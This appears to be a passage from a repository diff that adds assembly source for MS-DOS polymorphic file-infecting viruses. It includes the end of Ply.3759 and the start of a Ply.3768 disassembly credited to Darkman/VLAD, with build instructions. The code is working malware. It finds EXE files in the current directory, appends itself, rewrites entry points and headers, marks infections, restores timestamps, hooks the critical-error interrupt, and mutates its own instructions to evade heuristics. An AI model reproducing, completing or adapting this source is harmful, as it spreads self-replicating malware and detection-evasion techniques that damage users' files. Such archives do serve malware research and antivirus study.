cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
je dont_poly ; Equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov al,[si+02h] ; AL = third byte of three-byte block
|
||||
cmp al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
jne dont_poly ; Not equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx+01h],ax ; Store first word of three-bytes ...
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8 ; Equal? Jump to dec_imm8
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne prepend_nop ; Not equal? Jump to prepend_nop
|
||||
nop
|
||||
dec_imm8:
|
||||
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
||||
prepend_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx],al ; Prepend a NOP to the opcode
|
||||
nop
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly:
|
||||
jmp test_loop
|
||||
test_append:
|
||||
cmp al,01h ; Append a NOP to the opcode?
|
||||
nop
|
||||
jne test_create ; Not equal? Jump to test_create
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],ax ; Store second word of three-bytes...
|
||||
nop
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne append_nop ; Not equal? Jump to append_nop
|
||||
nop
|
||||
dec_imm8_:
|
||||
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
||||
append_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx+02h],al ; Append a NOP to the opcode
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly_:
|
||||
jmp test_loop
|
||||
test_create:
|
||||
cmp al,02h ; Create a CALL imm16 to the opcode?
|
||||
nop
|
||||
jne delete_call ; Not equal? Jump to delete_call
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_call ; Not equal? Jump to create_call
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_call:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,50h ; PUSH reg16/POP reg16?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
stosb ; Store RET
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a CALL imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
call_exit:
|
||||
jmp test_loop
|
||||
delete_call:
|
||||
cmp al,03h ; Delete previously created CALL i...
|
||||
nop
|
||||
jne test_create_ ; Not equal? Jump to test_create_
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
||||
nop
|
||||
jne call_exit_ ; Not equal? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb call_exit_ ; Below? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
call_exit_:
|
||||
jmp test_loop
|
||||
test_create_:
|
||||
cmp al,04h ; Create a JMP imm16 to the opcode?
|
||||
nop
|
||||
jne delete_jmp ; Not equal? Jump to delete_jmp
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_jmp ; Not equal? Jump to create_jmp
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_jmp:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
stosb ; Store JMP imm16
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
neg ax ; Negate AX
|
||||
nop
|
||||
sub ax,02h ; Subtract two from 16-bit immediate
|
||||
stosw ; Store 16-bit immediate
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a JMP imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
jmp_exit:
|
||||
jmp test_loop
|
||||
nop
|
||||
delete_jmp:
|
||||
cmp al,05h ; Delete previously created JMP im...
|
||||
nop
|
||||
jne test_loop ; Not equal? Jump to test_loop
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
jmp_exit_:
|
||||
jmp test_loop
|
||||
nop
|
||||
test_loop:
|
||||
pop si ; Load SI from stack
|
||||
nop
|
||||
nop
|
||||
pop cx ; Load CX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,03h ; AX = size of block
|
||||
add si,ax ; SI = offset of next three-byte b...
|
||||
nop
|
||||
|
||||
dec cx ; Decrease CX
|
||||
nop
|
||||
nop
|
||||
jz poly_exit ; Zero? Jump to poly_exit
|
||||
nop
|
||||
|
||||
jmp poly_loop
|
||||
poly_exit:
|
||||
jmp prepare_exit
|
||||
nop
|
||||
|
||||
get_poly_off proc near ; Get random offset of polymorphic...
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov ah,al ; AH = " " "
|
||||
nop
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov di,ax ; DI = 16-bit random number
|
||||
nop
|
||||
mov ax,(poly_end-poly_begin)/03h
|
||||
get_rnd_num:
|
||||
sub di,ax ; Subtract number of polymorphic b...
|
||||
nop
|
||||
cmp di,ax ; Too large a 16-bit random number?
|
||||
nop
|
||||
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = 16-bit random number within...
|
||||
nop
|
||||
|
||||
add di,ax ; Add number of polymorphic blocks
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
|
||||
lea ax,poly_blocks ; AX = offset of poly_blocks
|
||||
add di,ax ; Add offset of poly_blocks to ran...
|
||||
nop
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
cmp [di],ax ; Offset already in use?
|
||||
nop
|
||||
jne get_poly_off ; Not equal? Jump to get_poly_off
|
||||
nop
|
||||
|
||||
ret ; Return!
|
||||
nop
|
||||
nop
|
||||
endp
|
||||
prepare_exit:
|
||||
lea si,file_header ; SI = offset of file_header
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,[si+14h] ; AX = instruction pointer
|
||||
stosw ; Store instruction pointer
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+16h] ; AX = code segment
|
||||
stosw ; Store code segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+0eh] ; AX = stack segment
|
||||
stosw ; Store stack segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+10h] ; AX = stack pointer
|
||||
stosw ; Store stack pointer
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
lea dx,dta ; DX = offset of dta
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
mov di,dx ; DI = offset of dta
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,3524h ; Get interrupt vector 24h
|
||||
int 21h
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
mov ax,es ; ES = segment of interrupt 24h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,2524h ; Get interrupt vector 24h
|
||||
lea dx,int24_virus ; DX = offset of int24_virus
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,(4e00h+2020h) ; Find first matching file
|
||||
sub ax,2020h
|
||||
mov cx,0000000000000111b
|
||||
lea dx,file_specifi ; DX = offset of file_specifi
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov bx,dx ; BX = offset of file_specifi
|
||||
nop
|
||||
mov al,'E'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
find_next:
|
||||
int 21h
|
||||
nop
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
nop
|
||||
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
mov ds,ax ; DS = segment of interrupt 24h
|
||||
nop
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
mov ax,2524h ; Set interrupt vector 24h
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
mov dx,80h ; DX = offset of default disk tran...
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
|
||||
jmp virus_exit
|
||||
open_file:
|
||||
mov al,'V'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
|
||||
mov ax,3d00h ; Open file (read)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
nop
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
mov cx,1ah ; Read twenty-six bytes
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,('ZM'+2020h) ; EXE signature
|
||||
sub ax,2020h
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
|
||||
xchg ah,al ; Exchange EXE signature
|
||||
nop
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
jmp_find_nxt:
|
||||
mov ax,(4f00h+2020h) ; Find next matching file
|
||||
sub ax,2020h
|
||||
|
||||
jmp find_next
|
||||
nop
|
||||
examine_file:
|
||||
mov ax,2020h
|
||||
cmp [si+12h],ax ; Already infected?
|
||||
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
xor cx,cx ; CX = new file attributes
|
||||
nop
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(3d02h+2020h) ; Open file (read/write)
|
||||
sub ax,2020h
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4202h ; Set current file position (EOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,[si+08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply by paragraphs
|
||||
nop
|
||||
shl ax,cl ; AX = header size
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
xchg ax,bx ; BX = header size
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,[di+1ah] ; AX = low-order word of filesize
|
||||
mov dx,[di+1ch] ; DX = high-order word of filesize
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
push dx ; Save DX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
sub ax,bx ; Subtract header size from filesize
|
||||
nop
|
||||
sbb dx,00h ; Convert to 32-bit
|
||||
mov cx,10h
|
||||
div cx ; Divide by paragraphs
|
||||
nop
|
||||
mov [si+14h],dx ; Store instruction pointer
|
||||
mov [si+16h],ax ; Store code segment
|
||||
|
||||
lea bx,delta_offset ; BX = offset of delta_offset
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],dx ; Store delta offset
|
||||
nop
|
||||
|
||||
inc ax ; Increase AX
|
||||
nop
|
||||
nop
|
||||
mov [si+0eh],ax ; Store stack segment
|
||||
|
||||
mov ax,(code_end-code_begin+100h)
|
||||
add dx,ax ; DX = stack pointer
|
||||
nop
|
||||
mov ax,1111111111111110b
|
||||
and dx,ax ; DX = " "
|
||||
nop
|
||||
mov [si+10h],dx ; Store stack pointer
|
||||
|
||||
mov ax,2020h ; AX = infection mark
|
||||
mov [si+12h],ax ; Store infection mark
|
||||
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
add ax,(code_end-code_begin)
|
||||
adc dx,00h ; Convert to 32-bit
|
||||
|
||||
mov cl,09h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
shr ax,cl ; Multiply by pages
|
||||
nop
|
||||
ror dx,cl ; " " "
|
||||
nop
|
||||
stc ; Set carry flag
|
||||
nop
|
||||
nop
|
||||
adc dx,ax ; DX = total number of 512-bytes p...
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
and ah,00000001b
|
||||
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
||||
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
||||
pop bx ; Load BX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4201h ; Set current file position (CFP)
|
||||
mov cx,-01h
|
||||
mov dx,-(code_end-delta_offset)
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,02h ; Write two bytes
|
||||
lea dx,delta_offset ; DX = offset of delta_offset
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4200h ; Set current file position (SOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,1ah ; Write twenty-six bytes
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(5701h-2020h) ; Set file's date and time
|
||||
add ax,2020h
|
||||
mov cx,[di+16h] ; CX = file time
|
||||
mov dx,[di+18h] ; DX = file date
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
mov ch,00h ; Zero CH
|
||||
nop
|
||||
mov cl,[di+15h] ; CL = file attribute
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
|
||||
int24_virus proc near ; Interrupt 24h of Ply.3759
|
||||
mov al,03h ; Fail system call in progress
|
||||
nop
|
||||
|
||||
jmp int24_exit
|
||||
nop
|
||||
endp
|
||||
virus_exit:
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov es,bx ; ES = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov cx,bx ; CX = " " " " " "
|
||||
nop
|
||||
add cx,10h ; CX = segment of beginning of code
|
||||
|
||||
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
add [si+02h],cx ; Add segment of beginning of code...
|
||||
add cx,[si+04h] ; Add original stack segment to se...
|
||||
|
||||
cli ; Clear interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
xor ax,ax ; Zero AX
|
||||
nop
|
||||
poly_end:
|
||||
mov sp,[si+06h] ; SP = stack pointer
|
||||
mov ss,cx ; SS = stack segment
|
||||
sti ; Set interrupt-enable flag
|
||||
|
||||
push ax ; Save AX at stack
|
||||
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
instruct_ptr dw ? ; Instruction pointer
|
||||
code_seg dw ? ; Code segment
|
||||
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
int24_exit:
|
||||
iret ; Interrupt return!
|
||||
|
||||
db 00h,00h
|
||||
file_specifi db '*.VXE',00h ; File specification
|
||||
file_header dw 0ah dup(?),00h,0fff0h,?
|
||||
db 00h
|
||||
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
||||
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
||||
code_end:
|
||||
dta:
|
||||
db 15h dup(?) ; Used by DOS for find next-process
|
||||
file_attr db ? ; File attribute
|
||||
file_time dw ? ; File time
|
||||
file_date dw ? ; File date
|
||||
filesize dd ? ; Filesize
|
||||
filename db 0dh dup(?) ; Filename
|
||||
data_end:
|
||||
|
||||
end code_begin
|
926
MSDOS/Virus.MSDOS.Unknown.ply_3768.asm
Normal file
926
MSDOS/Virus.MSDOS.Unknown.ply_3768.asm
Normal file
@ -0,0 +1,926 @@
|
||||
comment *
|
||||
Ply.3768
|
||||
Disassembly by
|
||||
Darkman/VLAD
|
||||
|
||||
Ply.3768 is a 3768 bytes parasitic direct action EXE virus. Infects every
|
||||
file in current directory, when executed, by appending the virus to the
|
||||
infected file. Ply.3768 has an error handler, anti-heuristic techniques and
|
||||
is polymorphic in file using its internal polymorphic engine.
|
||||
|
||||
To compile Ply.3768 with Turbo Assembler v 4.0 type:
|
||||
TASM /m PLY_3768.ASM
|
||||
TLINK /t /x PLY_3768.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Ply.3768
|
||||
|
||||
code_begin:
|
||||
delta_offset equ $+01h ; Delta offset
|
||||
mov bp,100h ; BP = delta offset
|
||||
poly_begin:
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,100h ; AX = offset of beginning of code
|
||||
sub bp,ax ; Subtract offset of beginning of ...
|
||||
nop
|
||||
|
||||
sti ; Set interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
cld ; Clear direction flag
|
||||
nop
|
||||
nop
|
||||
|
||||
lea si,poly_begin ; SI = offset of poly_begin
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
mov cx,(poly_end-poly_begin)/03h
|
||||
poly_loop:
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
and al,00000111b ; AL = random number between zero ...
|
||||
nop
|
||||
|
||||
push cx ; Save CX at stack
|
||||
nop
|
||||
nop
|
||||
push si ; Save SI at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
cmp al,00h ; Prepend a NOP to the opcode?
|
||||
nop
|
||||
jne test_append ; Not equal? Jump to test_append
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
je dont_poly ; Equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov al,[si+02h] ; AL = third byte of three-byte block
|
||||
cmp al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
jne dont_poly ; Not equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx+01h],ax ; Store first word of three-bytes ...
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8 ; Equal? Jump to dec_imm8
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne prepend_nop ; Not equal? Jump to prepend_nop
|
||||
nop
|
||||
dec_imm8:
|
||||
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
||||
prepend_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx],al ; Prepend a NOP to the opcode
|
||||
nop
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly:
|
||||
jmp test_loop
|
||||
test_append:
|
||||
cmp al,01h ; Append a NOP to the opcode?
|
||||
nop
|
||||
jne test_create ; Not equal? Jump to test_create
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
